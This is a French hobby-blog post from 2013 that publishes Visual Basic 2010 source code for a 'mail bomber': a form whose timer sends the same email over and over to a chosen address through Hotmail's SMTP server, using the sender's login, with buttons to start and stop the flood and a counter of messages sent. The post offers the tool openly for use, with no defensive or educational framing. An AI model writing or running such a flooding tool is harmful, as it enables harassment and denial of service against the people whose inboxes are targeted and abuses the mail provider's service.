bomber mails - tuto-informatique.seb30.overblog.com
Overblog Suivre ce blog
Editer l'article Administration Créer mon blog
tuto-informatique.seb30.overblog.com

tuto et astuce informatique,n'hesitez pas a faire un don pour le travail

bomber mails

Publié le 4 Février 2013 par SEB in vb 2010

voici le programme pour les plus septiques ,je rappel qu il faut une adresse hotmail pour pouvoir envoyer des mails 

Imports System.Net

Imports System.Net.Mail

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Timer1.Enabled = True

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

Timer1.Enabled = False

End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click

Me.Close()

End Sub

Private Sub Label7_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label7.Click

Text = "0"

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim MyMailMessage As New MailMessage()

MyMailMessage.From = New MailAddress(TextBox1.Text) MyMailMessage.To.Add(TextBox3.Text) 

MyMailMessage.Subject = (TextBox4.Text)

MyMailMessage.Body = TextBox5.Text Dim SMTPServer As New SmtpClient("smtp.live.com")

SMTPServer.Port = 587 SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)

SMTPServer.EnableSsl = True Label7.Text = Val(Label7.Text + 1) SMTPServer.Send(MyMailMessage)

End Sub

End Class

bomber mails
Commenter cet article